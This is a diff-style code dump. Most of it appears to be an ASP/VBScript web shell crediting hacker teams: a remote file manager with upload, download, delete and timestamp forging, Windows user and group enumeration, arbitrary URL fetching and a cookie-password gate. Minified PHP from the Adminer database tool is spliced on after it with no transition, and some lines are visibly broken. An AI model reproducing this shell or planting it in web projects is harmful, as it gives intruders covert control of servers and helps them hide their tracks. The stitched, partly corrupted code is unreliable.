doTr 0 + doTd"User profile","" + doTd User.Profile,"" + doTtr + doTr 1 + doTd"User loginscript","" + doTd User.LoginScript,"" + doTtr + doTr 0 + doTd"Home directory","" + doTd User.HomeDirectory,"" + doTtr + doTr 1 + doTd"Home drive","" + doTd User.Get("HomeDirDrive"),"" + doTtr + doTr 0 + doTd"Last login","" + doTd lastlog,"" + doTtr + If Err Then Err.Clear + End Sub + Function getItsGroup(strUser) + Dim objUser,objGroup + Set objUser=getObj("WinNT://./"&strUser&",user") + For Each objGroup in objUser.Groups + getItsGroup=getItsGroup&" "&objGroup.Name + Next + End Function + Function FsoRead(thePath) + Set objCountFile=objFso.OpenTextFile(thePath,1,True) + FsoRead=Replace(objCountFile.ReadAll,Chr(0)," ") + objCountFile.Close + Set objCountFile=Nothing + End Function + Function streamLoadFromFile(thePath) + If Not isDebugMode Then On Error Resume Next + Set objStream=CreateObj("Adodb.Stream") + With objStream + .Type=2 + .Mode=3 + .Open + .LoadFromFile thePath + If subAct="utfEdit" Then + .CharSet="utf-8" + Else + .CharSet=defaultChr + End If + .Position=2 + streamLoadFromFile=Replace(.ReadText(),Chr(0)," ") + .Close + End With + Set objStream=Nothing + End Function + Sub streamSaveToFile(thePath,fileContent,stype) + If Not isDebugMode Then On Error Resume Next + Set objStream=CreateObj("Adodb.Stream") + With objStream + .Type=stype + .Mode=3 + .Open + If subAct="utfSave"Then + .CharSet="utf-8" + ElseIf subAct="Save"Then + .CharSet=defaultChr + End If + If stype=2 Then + .WriteText fileContent + Else + .Write fileContent + End If + objStream.SavetoFile thePath,2 + .Close + End With + Set objStream=Nothing + End Sub + Sub fsoSaveToFile(thePath,fileContent) + Dim theFile + Set theFile=objFso.OpenTextFile(thePath,2,True) + theFile.Write fileContent + theFile.Close + Set theFile=Nothing + End Sub + Sub newOne() + If Not isDebugMode Then On Error Resume Next + If newOneType="file"Then + thePath=thePath&"\"&newOneName + Call objFso.CreateTextFile(thePath,False) + showEdit + Else + objFso.CreateFolder(thePath&"\"&newOneName) + End If + If Err Then + chkerr(Err) + Else + errMsgAdd"File/folder created" + End If + End Sub + Sub renameOne() + Dim tagName,objFolder,parPath,oriName + If Not isDebugMode Then On Error Resume Next + thePath=getLeft(pubPam,"|",False) + tagName=getRight(pubPam,"|") + If InStr(thePath,"\")<1 Then thePath=thePath&"\" + Dim theFile,fileName,theFolder + If thePath=""Or tagName=""Then + errMsgAdd"Parameter wrong!" + Exit Sub + End If + If strFileMethod="fso"Then + If subAct="renamefolder"Then + Set theFolder=objFso.GetFolder(thePath) + theFolder.Name=tagName + Set theFolder=Nothing + Else + Set theFile=objFso.GetFile(thePath) + theFile.Name=tagName + Set theFile=Nothing + End If + Else + oriName=getRight(thePath,"\") + parPath=getLeft(thePath,"\",False) + Set objFolder=objSa.NameSpace(parPath) + Set objItem=objFolder.ParseName(oriName) + objItem.Name=tagName + End If + If Err Then + chkerr(Err) + Else + errMsgAdd"Rename completed" + End If + End Sub + Sub delOne() + If Not isDebugMode Then On Error Resume Next + If subAct="delFolder"Then + Call objFso.DeleteFolder(thePath,True) + Else + Call objFso.DeleteFile(thePath,True) + End If + If Len(thePath)=2 Then thePath=thePath&"\" + If Err Then + chkerr(Err) + Else + errMsgAdd"File/folder deleted" + End If + End Sub + Sub moveCopyOne() + Dim oriPath,tagPath,objTargetFolder,objOriPath,objSa2 + If Not isDebugMode Then On Error Resume Next + thePath=Left(pubPam,Instr(pubPam,"|")-1) + tagPath=Mid(pubPam,InStr(pubPam,"|")+1) + If thePath=""Or tagPath=""Then + errMsgAdd"Parameter wrong!" + Exit Sub + End If + Select Case subAct + Case"cpFolder" + Call objFso.CopyFolder(thePath,tagPath) + Case"cpFile" + Call objFso.CopyFile(thePath,tagPath) + Case"mvFolder" + Call objFso.MoveFolder(thePath,tagPath) + Case"mvFile" + echo thePath&"||"&tagPath + Call objFso.MoveFile(thePath,tagPath) + End Select + If Err Then + chkerr(Err) + Else + errMsgAdd"File/folder copyed/moved" + End If + End Sub + Sub modIfyTime() + Dim oItem,fileToModIfy,newDate,oFolder + If Not isDebugMode Then On Error Resume Next + thePath=Left(pubPam,Instr(pubPam,"|")-1) + If Right(thePath,1)="\"And Len(thePath)>3 Then thePath=Left(thePath,Len(thePath)-1) + fileToModIfy=getRight(thePath,"\") + newDate=Mid(pubPam,Instr(pubPam,"|")+1) + thePath=getLeft(thePath,"\",False) + Set oFolder=objSa.NameSpace(thePath) + Set oItem=oFolder.ParseName(fileToModIfy) + If newDate<>""Then + If IsDate(newDate) Then oItem.ModIfyDate=newDate + End If + If Err Then + chkerr(Err) + Else + errMsgAdd"Time modIffied" + End If + Set oItem=Nothing + Set oFolder=Nothing + End Sub + Sub downTheFile() + Response.Clear + If Not isDebugMode Then On Error Resume Next + Dim fileName,fileContentType + + fileName=getRight(thePath,"\") + Set objStream=CreateObj("Adodb.Stream") + objStream.Open + objStream.Type=1 + objStream.LoadFromFile(thePath) + chkerr(Err) + Session.CodePage=936 + Response.AddHeader"Content-Disposition","Attachment; Filename="&fileName + Session.CodePage=65001 + Response.AddHeader"Content-Length",objStream.Size + Response.ContentType="Application/Octet-Stream" + Response.BinaryWrite objStream.Read + Response.Flush() + objStream.Close + Set objStream=Nothing + End Sub + Class upload_5xsoft + Dim objForm,objFile + Public Function Form(strForm) + strForm=Lcase(strForm) + If Not objForm.exists(strForm) Then + Form="" + Else + Form=objForm(strForm) + End If + End Function + Public Function File(strFile) + If Not isDebugMode Then On Error Resume Next + strFile=Lcase(strFile) + If not objFile.exists(strFile) Then + Set File=new FileInfo + Else + Set File=objFile(strFile) + End If + End Function + Private Sub Class_Initialize + If Not isDebugMode Then On Error Resume Next + Dim RequestData,sStart,vbCrlf,sInfo,iInfoStart,iInfoEnd,tStream,iStart,theFile + Dim IfileSize,sFilePath,sFileType,sFormValue,sFileName + Dim IfindStart,IfindEnd + Dim IformStart,IformEnd,sFormName + Set objForm=CreateObj("Scripting.Dictionary") + Set objFile=CreateObj("Scripting.Dictionary") + If Request.TotalBytes<1 Then Exit Sub + Set tStream=CreateObj("adodb.stream") + Set objStream=CreateObj("adodb.stream") + objStream.Type=1 + objStream.Mode=3 + objStream.Open + objStream.Write Request.BinaryRead(Request.TotalBytes) + objStream.Position=0 + RequestData=objStream.Read + IformStart=1 + IformEnd=LenB(RequestData) + vbCrlf=chrB(13)&chrB(10) + sStart=MidB(RequestData,1,InStrB(IformStart,RequestData,vbCrlf)-1) + iStart=LenB(sStart) + IformStart=IformStart+iStart+1 + While(IformStart+10) 0 Then + Set theFile=new FileInfo + IfindStart=InStr(IfindEnd,sInfo,"filename=""",1)+10 + IfindEnd=InStr(IfindStart,sInfo,"""",1) + sFileName=Mid(sinfo,IfindStart,IfindEnd-IfindStart) + theFile.FileName=getFileName(sFileName) + theFile.FilePath=getFilePath(sFileName) + theFile.FileExt=GetFileExt(sFileName) + IfindStart=InStr(IfindEnd,sInfo,"Content-Type: ",1)+14 + IfindEnd=InStr(IfindStart,sInfo,vbCr) + theFile.FileType =Mid(sinfo,IfindStart,IfindEnd-IfindStart) + theFile.FileStart =iInfoEnd + theFile.FileSize=IformStart-iInfoEnd-3 + theFile.FormName=sFormName + If not objFile.Exists(sFormName)Then + objFile.add sFormName,theFile + End If + Else + tStream.Type =1 + tStream.Mode =3 + tStream.Open + objStream.Position=iInfoEnd + objStream.CopyTo tStream,IformStart-iInfoEnd-3 + tStream.Position=0 + tStream.Type=2 + tStream.CharSet ="gb2312" + sFormValue=tStream.ReadText + tStream.Close + If objForm.Exists(sFormName) Then + objForm(sFormName)=objForm(sFormName)&","&sFormValue + Else + objForm.Add sFormName,sFormValue + End If + End If + IformStart=IformStart+iStart+1 + wEnd + RequestData="" + Set tStream =nothing + End Sub + Private Sub Class_Terminate + If Not isDebugMode Then On Error Resume Next + If Request.TotalBytes>0 Then + objForm.RemoveAll + objFile.RemoveAll + Set objForm=nothing + Set objFile=nothing + objStream.Close + Set objStream =nothing + End If + End Sub + Private Function GetFilePath(FullPath) + If Not isDebugMode Then On Error Resume Next + If FullPath<>"" Then + GetFilePath=left(FullPath,InStrRev(FullPath,"\")) + Else + GetFilePath="" + End If + End Function + Private Function GetFileExt(FullPath) + If FullPath<>"" Then + GetFileExt=mid(FullPath,InStrRev(FullPath,".")+1) + Else + GetFileExt="" + End If + End Function + Private Function GetFileName(FullPath) + If FullPath<>"" Then + GetFileName=mid(FullPath,InStrRev(FullPath,"\")+1) + Else + GetFileName="" + End If + End Function + End Class + + Class FileInfo + Dim FormName,FileName,FilePath,FileSize,FileExt,FileType,FileStart + Private Sub Class_Initialize + FileName="" + FilePath="" + FileSize=0 + FileStart= 0 + FormName="" + FileType="" + FileExt = "" + End Sub + Public Function SaveAs(FullPath) + Dim dr,ErrorChar,i + SaveAs=True + If Trim(fullpath)="" or FileStart=0 or FileName="" or Right(fullpath,1)="/" Then exit Function + Set dr=CreateObject("Adodb.Stream") + dr.Mode=3 + dr.Type=1 + dr.Open + objStream.position=FileStart + objStream.copyto dr,FileSize + dr.SaveToFile FullPath,2 + dr.Close + Set dr=nothing + SaveAs=False + End Function + Public Function InFile() + objStream.position=FileStart + InFile=objStream.Read(FileSize) + End Function + End Class + Sub streamUpload() + If Not isDebugMode Then On Error Resume Next + If thePath="" Then thePath=aspPath + If InStr(thePath,":")<1 Then thePath=aspPath&"\"&thePath + Set theFile=cls_upload.File("upfile") + If destName="" Then destName=theFile.FileName + theFile.SaveAs(thePath&"\"&destName) + If Err Then + chkerr(Err) + Else + errMsgAdd("Upload Sucess") + End If + End Sub + + Function xmlGet(strUrl,method) + If Not isDebugMode Then On Error Resume Next + Dim pams + If method="POST" Then + pams=Split(strUrl,"?")(1) + strUrl=Split(strUrl,"?")(0) + End If + objXml.Open method,strUrl,False + If method="POST" Then + objXml.SetRequestHeader"Content-Type","application/x-www-form-urlencoded" + objXml.send pams + Else + objXml.send + End If + If regTest(objXml.getAllResponseHeaders(),"charSet ?= ?[""']?[\w-]+")Then + pagecharSet=Trim(regReplace(regExecute(objXml.getAllResponseHeaders(),"charSet ?= ?[""']?[\w-]+",False)(0),"charSet ?= ?[""']?","",False)) + ElseIf regTest(objXml.ResponseText,"charSet ?= ?[""']?[\w-]+")Then + pagecharSet=Trim(regReplace(regExecute(objXml.ResponseText,"charSet ?= ?[""']?[\w-]+",False)(0),"charSet ?= ?[""']?","",False)) + End If + If pagecharSet=""Then pagecharSet=defaultChr + xmlGet=bin2str2(objXml.responseBody,pagecharSet) + End Function + Function isIn() + If Request.Cookies(cookiePass)=""Then + isIn=False + Exit Function + End If + If CFSEncode(Request.Cookies(cookiePass))=pass Then + isIn=True + Else + isIn=False + End If + End Function + Function secretEncode(pamToEn) + If Not needEncode Or pamToEn=""Then + secretEncode=pamToEn + Exit Function + End If + Dim tt,tmpchr + tt="" + For i=1 To Len(pamToEn) + tmpchr=Mid(pamToEn,i,1) + If Asc(tmpchr)<128 And Asc(tmpchr)>0 Then + tt=tt&Asc(tmpchr)+encodeNum&encodeCut + Else + tt=tt&tmpchr&encodeCut + End If + Next + secretEncode=Left(tt,Len(tt)-1) + End Function + Function secretDecode(pamToDecode) + If Not needEncode Or pamToDecode="" Or Not regTest(pamToDecode,"^((\d+|.)"&encodeCut&")+(\d+|.)$")Then + secretDecode=pamToDecode + Exit Function + End If + Dim dd,tmpArr + dd="" + tmpArr=Split(pamToDecode,encodeCut) + For i=0 To UBound(tmpArr) + If IsNumeric(tmpArr(i))Then + dd=dd&Chr(CInt(tmpArr(i))-encodeNum) + Else + dd=dd&tmpArr(i) + End If + Next + secretDecode=dd + End Function + Function getADS() + Dim ADSstr,gwidth,gheight + gwidth=88 + gheight=31 + ADSstr="
    " + ADSstr=ADSstr&"Bink Team | " + ADSstr=ADSstr&"0kee Team | " + ADSstr=ADSstr&"T00ls | " + ADSstr=ADSstr&"Fuck Tencent" + getADS=ADSstr + End Function + Function bin2str2(binstr,strcharSet) + If Not isDebugMode Then On Error Resume Next + Dim BytesStream,StringReturn + Set BytesStream=CreateObj("Adodb.Stream") + With BytesStream + .Type=2 + .Open + .WriteText binstr + .Position=0 + .CharSet=strcharSet + .Position=2 + StringReturn=.ReadText(.Size) + .close + End With + Set BytesStream=Nothing + bin2str2=StringReturn + End Function + Function getServerVariable(str) + getServerVariable=Request.ServerVariables(str) + End Function + Function CreateObj(strObj) + Set CreateObj=Server.CreateObject(strObj) + End Function + Function getObj(strObj) + Set getObj=GetObject(strObj) + End Function + Function UrlEnc(str) + UrlEnc=server.urlencode(str) + End Function + Function getHex(str) + Dim tmphex,tmpstr + tmphex="" + For i=0 To Len(str)-1 + tmpstr=Right(str,Len(str)-i) + If Asc(tmpstr)<16 Then tmphex=tmphex&"0" + tmphex=tmphex&CStr(Hex(Asc(tmpstr))) + Next + getHex="0x"&tmphex + End Function + Function getUtf(str) + Dim tmphex,tmpstr + tmphex="" + For i=0 To Len(str)-1 + tmpstr=Right(str,Len(str)-i) + tmphex=tmphex&CStr(Hex(Asc(tmpstr)))&"00" + Next + getUtf="0x"&tmphex + End Function + Function htmlEnc(str) + str=textEncode(str) + str=Replace(str,Chr(13)&Chr(10),"
    ") + htmlEnc=Replace(str," "," ") + End Function + Function textEncode(str) + If Not isDebugMode Then On Error Resume Next + str=CStr(str) + If IsNull(str)Or str=""Then + textEncode="" + Exit Function + End If + textEncode=Server.HtmlEncode(str) + End Function + Function mapath(str) + mapath=Server.MapPath(str) + End Function + Sub chkerr(Err) + If Err Then + errMsgAdd"Exception :"&Err.Description + errMsgAdd"Exception source :"&Err.Source + Err.Clear + End If + End Sub + Function CfsEnCode(ByVal CodeStr) + Dim CodeLen + Dim CodeSpace + Dim NewCode + CodeLen=30 + CodeSpace=CodeLen-Len(CodeStr) + If Not CodeSpace<1 Then + For cecr=1 To CodeSpace + CodeStr=CodeStr&Chr(21) + Next + End If + NewCode=1 + Dim Ben + For cecb=1 To CodeLen + Ben=CodeLen+Asc(Mid(CodeStr,cecb,1)) * cecb + NewCode=NewCode * Ben + Next + CodeStr=NewCode + NewCode=Empty + For cec=1 To Len(CodeStr) + NewCode=NewCode&CfsCode(Mid(CodeStr,cec,3)) + Next + For cec=20 To Len(NewCode)-18 Step 2 + CfsEnCode=CfsEnCode&Mid(NewCode,cec,1) + Next + End Function + + Function CfsCode(word) + For cc=1 To Len(word) + CfsCode=CfsCode&Asc(Mid(word,cc,1)) + Next + CfsCode=Hex(CfsCode) + End Function + Function getTheSize(theSize) + If theSize>=(1024 * 1024 * 1024)Then getTheSize=Fix((theSize /(1024 * 1024 * 1024))* 100)/ 100&"G" + If theSize>=(1024 * 1024)And theSize<(1024 * 1024 * 1024)Then getTheSize=Fix((theSize /(1024 * 1024))* 100)/ 100&"M" + If theSize>=1024 And theSize<(1024 * 1024)Then getTheSize=Fix((theSize / 1024)* 100)/ 100&"K" + If theSize>=0 And theSize<1024 Then getTheSize=theSize&"B" + End Function + Function getDriveType(num) + Select Case num + Case 0 + getDriveType="Unknown" + Case 1 + getDriveType="Removable" + Case 2 + getDriveType="Local drive" + Case 3 + getDriveType="Net drive" + Case 4 + getDriveType="CD-ROM" + Case 5 + getDriveType="RAM disk" + End Select + End Function + Function doPathFormat(ByVal str) + str=Replace(str,"\","\\") + doPathFormat=Replace(str,"\\\\","\\") + End Function + Function getJetStr(str) + getJetStr="Provider=Microsoft.Jet.OLEDB.4.0;Data Source="&str + End Function + Function getLeft(str,sign,fromLeft) + If str="" Or InStr(str,sign)<1 Then + getLeft="" + Exit Function + End If + If fromLeft Then + getLeft=Left(str,InStr(str,sign)-1) + Else + getLeft=Left(str,InstrRev(str,sign)-1) + End If + End Function + Function getRight(str,sign) + If str="" Or InStr(str,sign)<1 Then + getRight="" + Exit Function + End If + getRight=Mid(str,InstrRev(str,sign)+Len(sign)) + End Function + Sub echo(str) + Response.Write str + End Sub + Sub echoLine(str) + echo str&vbCrLf + End Sub + Sub doShowHideMe(strObj,hideMe) + echo""&strObj&" :" + echo"
    \n";}function +selectOrderPrint($Td,$f,$t){print_fieldset("sort",lang(40),$Td);$p=0;foreach((array)$_GET["order"]as$v=>$W){if(isset($f[$W])){echo"
    ",checkbox("desc[$p]",1,isset($_GET["desc"][$v]),lang(41))."
    \n";$p++;}}echo"
    ","
    \n";echo"\n";}function +selectLimitPrint($x){echo"
    ".lang(42)."
    ";echo"","
    \n";}function +selectLengthPrint($Hf){if($Hf!==null){echo"
    ".lang(43)."
    ",'',"
    \n";}}function +selectActionPrint($t){echo"
    ".lang(44)."
    ",""," ","\n","
    \n";}function +selectCommandPrint(){return!information_schema(DB);}function +selectImportPrint(){return +true;}function +selectEmailPrint($Fb,$f){}function +selectColumnsProcess($f,$t){global$rc,$wc;$I=array();$uc=array();foreach((array)$_GET["columns"]as$v=>$W){if($W["fun"]=="count"||(isset($f[$W["col"]])&&(!$W["fun"]||in_array($W["fun"],$rc)||in_array($W["fun"],$wc)))){$I[$v]=apply_sql_function($W["fun"],(isset($f[$W["col"]])?idf_escape($W["col"]):"*"));if(!in_array($W["fun"],$wc))$uc[]=$I[$v];}}return +array($I,$uc);}function +selectSearchProcess($m,$t){global$u;$F=array();foreach($t +as$p=>$s){if($s["type"]=="FULLTEXT"&&$_GET["fulltext"][$p]!="")$F[]="MATCH (".implode(", ",array_map('idf_escape',$s["columns"])).") AGAINST (".q($_GET["fulltext"][$p]).(isset($_GET["boolean"][$p])?" IN BOOLEAN MODE":"").")";}foreach((array)$_GET["where"]as$W){if("$W[col]$W[val]"!=""&&in_array($W["op"],$this->operators)){$ab=" $W[op]";if(ereg('IN$',$W["op"])){$Dc=process_length($W["val"]);$ab.=" (".($Dc!=""?$Dc:"NULL").")";}elseif(!$W["op"])$ab.=$W["val"];elseif($W["op"]=="LIKE %%")$ab=" LIKE ".$this->processInput($m[$W["col"]],"%$W[val]%");elseif(!ereg('NULL$',$W["op"]))$ab.=" ".$this->processInput($m[$W["col"]],$W["val"]);if($W["col"]!="")$F[]=idf_escape($W["col"]).$ab;else{$Ua=array();foreach($m +as$_=>$l){if(is_numeric($W["val"])||!ereg('int|float|double|decimal|bit',$l["type"])){$_=idf_escape($_);$Ua[]=($u=="sql"&&ereg('char|text|enum|set',$l["type"])&&!ereg('^utf8',$l["collation"])?"CONVERT($_ USING utf8)":$_);}}$F[]=($Ua?"(".implode("$ab OR ",$Ua)."$ab)":"0");}}}return$F;}function +selectOrderProcess($m,$t){$F=array();foreach((array)$_GET["order"]as$v=>$W){if(isset($m[$W])||preg_match('~^((COUNT\\(DISTINCT |[A-Z0-9_]+\\()(`(?:[^`]|``)+`|"(?:[^"]|"")+")\\)|COUNT\\(\\*\\))$~',$W))$F[]=(isset($m[$W])?idf_escape($W):$W).(isset($_GET["desc"][$v])?" DESC":"");}return$F;}function +selectLimitProcess(){return(isset($_GET["limit"])?$_GET["limit"]:"30");}function +selectLengthProcess(){return(isset($_GET["text_length"])?$_GET["text_length"]:"100");}function +selectEmailProcess($Z,$jc){return +false;}function +messageQuery($D){global$u;static$fb=0;restart_session();$q="sql-".($fb++);$yc=&get_session("queries");if(strlen($D)>1e6)$D=ereg_replace('[\x80-\xFF]+$','',substr($D,0,1e6))."\n...";$yc[$_GET["db"]][]=array($D,time());return" ".@date("H:i:s")." ".lang(46)."';}function +editFunctions($l){global$Cb;$F=($l["null"]?"NULL/":"");foreach($Cb +as$v=>$rc){if(!$v||(!isset($_GET["call"])&&(isset($_GET["select"])||where($_GET)))){foreach($rc +as$oe=>$W){if(!$oe||ereg($oe,$l["type"]))$F.="/$W";}if($v&&!ereg('set|blob|bytea|raw|file',$l["type"]))$F.="/=";}}return +explode("/",$F);}function +editInput($N,$l,$_a,$X){if($l["type"]=="enum")return(isset($_GET["select"])?" ":"").($l["null"]?" ":"").enum_input("radio",$_a,$l,$X,0);return"";}function +processInput($l,$X,$o=""){if($o=="=")return$X;$_=$l["field"];$F=($l["type"]=="bit"&&ereg("^([0-9]+|b'[0-1]+')\$",$X)?$X:q($X));if(ereg('^(now|getdate|uuid)$',$o))$F="$o()";elseif(ereg('^current_(date|timestamp)$',$o))$F=$o;elseif(ereg('^([+-]|\\|\\|)$',$o))$F=idf_escape($_)." $o $F";elseif(ereg('^[+-] interval$',$o))$F=idf_escape($_)." $o ".(preg_match("~^(\\d+|'[0-9.: -]') [A-Z_]+$~i",$X)?$X:$F);elseif(ereg('^(addtime|subtime|concat)$',$o))$F="$o(".idf_escape($_).", $F)";elseif(ereg('^(md5|sha1|password|encrypt|hex)$',$o))$F="$o($F)";if(ereg("binary",$l["type"]))$F="unhex($F)";return$F;}function +dumpOutput(){$F=array('text'=>lang(47),'file'=>lang(48));if(function_exists('gzencode'))$F['gz']='gzip';if(function_exists('bzcompress'))$F['bz2']='bzip2';return$F;}function +dumpFormat(){return +array('sql'=>'SQL','csv'=>'CSV,','csv;'=>'CSV;','tsv'=>'TSV');}function +dumpTable($N,$M,$Nc=false){if($_POST["format"]!="sql"){echo"\xef\xbb\xbf";if($M)dump_csv(array_keys(fields($N)));}elseif($M){$gb=create_sql($N,$_POST["auto_increment"]);if($gb){if($M=="DROP+CREATE")echo"DROP ".($Nc?"VIEW":"TABLE")." IF EXISTS ".table($N).";\n";if($Nc)$gb=remove_definer($gb);echo($M!="CREATE+ALTER"?$gb:($Nc?substr_replace($gb," OR REPLACE",6,0):substr_replace($gb," IF NOT EXISTS",12,0))).";\n\n";}if($M=="CREATE+ALTER"&&!$Nc){$D="SELECT COLUMN_NAME, COLUMN_DEFAULT, IS_NULLABLE, COLLATION_NAME, COLUMN_TYPE, EXTRA, COLUMN_COMMENT FROM information_schema.COLUMNS WHERE TABLE_SCHEMA = DATABASE() AND TABLE_NAME = ".q($N)." ORDER BY ORDINAL_POSITION";echo"DELIMITER ;; +CREATE PROCEDURE adminer_alter (INOUT alter_command text) BEGIN + DECLARE _column_name, _collation_name, after varchar(64) DEFAULT ''; + DECLARE _column_type, _column_default text; + DECLARE _is_nullable char(3); + DECLARE _extra varchar(30); + DECLARE _column_comment varchar(255); + DECLARE done, set_after bool DEFAULT 0; + DECLARE add_columns text DEFAULT '";$m=array();$ua="";foreach(get_rows($D)as$G){$qb=$G["COLUMN_DEFAULT"];$G["default"]=($qb!==null?q($qb):"NULL");$G["after"]=q($ua);$G["alter"]=escape_string(idf_escape($G["COLUMN_NAME"])." $G[COLUMN_TYPE]".($G["COLLATION_NAME"]?" COLLATE $G[COLLATION_NAME]":"").($qb!==null?" DEFAULT ".($qb=="CURRENT_TIMESTAMP"?$qb:$G["default"]):"").($G["IS_NULLABLE"]=="YES"?"":" NOT NULL").($G["EXTRA"]?" $G[EXTRA]":"").($G["COLUMN_COMMENT"]?" COMMENT ".q($G["COLUMN_COMMENT"]):"").($ua?" AFTER ".idf_escape($ua):" FIRST"));echo", ADD $G[alter]";$m[]=$G;$ua=$G["COLUMN_NAME"];}echo"'; + DECLARE columns CURSOR FOR $D; + DECLARE CONTINUE HANDLER FOR NOT FOUND SET done = 1; + SET @alter_table = ''; + OPEN columns; + REPEAT + FETCH columns INTO _column_name, _column_default, _is_nullable, _collation_name, _column_type, _extra, _column_comment; + IF NOT done THEN + SET set_after = 1; + CASE _column_name";foreach($m +as$G)echo" + WHEN ".q($G["COLUMN_NAME"])." THEN + SET add_columns = REPLACE(add_columns, ', ADD $G[alter]', IF( + _column_default <=> $G[default] AND _is_nullable = '$G[IS_NULLABLE]' AND _collation_name <=> ".(isset($G["COLLATION_NAME"])?"'$G[COLLATION_NAME]'":"NULL")." AND _column_type = ".q($G["COLUMN_TYPE"])." AND _extra = '$G[EXTRA]' AND _column_comment = ".q($G["COLUMN_COMMENT"])." AND after = $G[after] + , '', ', MODIFY $G[alter]'));";echo" + ELSE + SET @alter_table = CONCAT(@alter_table, ', DROP ', _column_name); + SET set_after = 0; + END CASE; + IF set_after THEN + SET after = _column_name; + END IF; + END IF; + UNTIL done END REPEAT; + CLOSE columns; + IF @alter_table != '' OR add_columns != '' THEN + SET alter_command = CONCAT(alter_command, 'ALTER TABLE ".table($N)."', SUBSTR(CONCAT(add_columns, @alter_table), 2), ';\\n'); + END IF; +END;; +DELIMITER ; +CALL adminer_alter(@adminer_alter); +DROP PROCEDURE adminer_alter; + +";}}}function +dumpData($N,$M,$D){global$g,$u;$ld=($u=="sqlite"?0:1048576);if($M){if($_POST["format"]=="sql"&&$M=="TRUNCATE+INSERT")echo +truncate_sql($N).";\n";if($_POST["format"]=="sql")$m=fields($N);$E=$g->query($D,1);if($E){$Kc="";$Ka="";$Sc=array();while($G=$E->fetch_row()){if(!$Sc){foreach($G +as$W){$l=$E->fetch_field();$Sc[]=$l->name;}}if($_POST["format"]!="sql"){if($M=="table"){dump_csv($Sc);$M="INSERT";}dump_csv($G);}else{if(!$Kc)$Kc="INSERT INTO ".table($N)." (".implode(", ",array_map('idf_escape',$Sc)).") VALUES";foreach($G +as$v=>$W)$G[$v]=($W!==null?(ereg('int|float|double|decimal|bit',$m[$Sc[$v]]["type"])?$W:q($W)):"NULL");$Xe=implode(",\t",$G);if($M=="INSERT+UPDATE"){$K=array();foreach($G +as$v=>$W)$K[]=idf_escape($Sc[$v])." = $W";echo"$Kc ($Xe) ON DUPLICATE KEY UPDATE ".implode(", ",$K).";\n";}else{$Xe=($ld?"\n":" ")."($Xe)";if(!$Ka)$Ka=$Kc.$Xe;elseif(strlen($Ka)+4+strlen($Xe)<$ld)$Ka.=",$Xe";else{echo"$Ka;\n";$Ka=$Kc.$Xe;}}}}if($_POST["format"]=="sql"&&$M!="INSERT+UPDATE"&&$Ka){$Ka.=";\n";echo$Ka;}}elseif($_POST["format"]=="sql")echo"-- ".str_replace("\n"," ",$g->error)."\n";}}function +dumpFilename($Bc){return +friendly_url($Bc!=""?$Bc:(SERVER!=""?SERVER:"localhost"));}function +dumpHeaders($Bc,$yd=false){$de=$_POST["output"];$Yb=($_POST["format"]=="sql"?"sql":($yd?"tar":"csv"));header("Content-Type: ".($de=="bz2"?"application/x-bzip":($de=="gz"?"application/x-gzip":($Yb=="tar"?"application/x-tar":($Yb=="sql"||$de!="file"?"text/plain":"text/csv")."; charset=utf-8"))));if($de=="bz2")ob_start('bzcompress',1e6);if($de=="gz")ob_start('gzencode',1e6);return$Yb;}function +homepage(){echo'

    '.($_GET["ns"]==""?''.lang(49)."\n":""),(support("scheme")?"".($_GET["ns"]!=""?lang(50):lang(51))."\n":""),($_GET["ns"]!==""?''.lang(52)."\n":""),(support("privileges")?"".lang(53)."\n":"");return +true;}function +navigation($xd){global$ia,$g,$Q,$u,$xb;echo'

    +',$this->name(),' ',$ia,' +',(version_compare($ia,$_COOKIE["adminer_version"])<0?h($_COOKIE["adminer_version"]):""),' +

    +';if($xd=="auth"){$gc=true;foreach((array)$_SESSION["pwds"]as$wb=>$hf){foreach($hf +as$J=>$kg){foreach($kg +as$U=>$B){if($B!==null){if($gc){echo"

    \n";$gc=false;}echo"($xb[$wb]) ".h($U.($J!=""?"@$J":""))."
    \n";}}}}}else{$i=$this->databases();echo'

    +

    +';if(DB==""||!$xd){echo"".lang(46)."\n";if(support("dump"))echo"".lang(54)."\n";}echo' + +

    +
    +
    +

    +';hidden_fields_get();echo($i?html_select("db",array(""=>"(".lang(56).")")+$i,DB,"this.form.submit();"):''),' +';if($xd!="db"&&DB!=""&&$g->select_db(DB)){if(support("scheme")){echo"
    ".html_select("ns",array(""=>"(".lang(57).")")+schemas(),$_GET["ns"],"this.form.submit();");if($_GET["ns"]!="")set_schema($_GET["ns"]);}}echo(isset($_GET["sql"])?'':(isset($_GET["schema"])?'':(isset($_GET["dump"])?'':""))),"

    \n";if($_GET["ns"]!==""&&!$xd&&DB!=""){echo'

    ".lang(58)."\n";$P=tables_list();if(!$P)echo"

    ".lang(6)."\n";else{$this->tablesPrint($P);$ed=array();foreach($P +as$N=>$S)$ed[]=preg_quote($N,'/');echo"\n";}}}}function +tablesPrint($P){echo"

    \n";foreach($P +as$N=>$S){echo'".lang(59)." ",'".$this->tableName(array("Name"=>$N))."
    \n";}}}$b=(function_exists('adminer_object')?adminer_object():new +Adminer);if($b->operators===null)$b->operators=$Pd;function +page_header($Kf,$k="",$Ja=array(),$Lf=""){global$ca,$b,$g,$xb;header("Content-Type: text/html; charset=utf-8");if($b->headers()){header("X-Frame-Options: deny");header("X-XSS-Protection: 0");}$Mf=$Kf.($Lf!=""?": ".h($Lf):"");$Nf=strip_tags($Mf.(SERVER!=""&&SERVER!="localhost"?h(" - ".SERVER):"")." - ".$b->name());echo' + + + + +',$Nf,' + + +';if($b->head()){echo' +';if(file_exists("adminer.css")){echo' +';}}echo' + + + +

    +';if($Ja!==null){$y=substr(preg_replace('~(username|db|ns)=[^&]*&~','',ME),0,-1);echo'

    $Mf

    \n";restart_session();$hg=preg_replace('~^[^?]*~','',$_SERVER["REQUEST_URI"]);$ud=$_SESSION["messages"][$hg];if($ud){echo"
    ".implode("
    \n
    ",$ud)."
    \n";unset($_SESSION["messages"][$hg]);}$i=&get_session("dbs");if(DB!=""&&$i&&!in_array(DB,$i,true))$i=null;if($k)echo"
    $k
    \n";define("PAGE_HEADER",1);}function +page_footer($xd=""){global$b;echo'
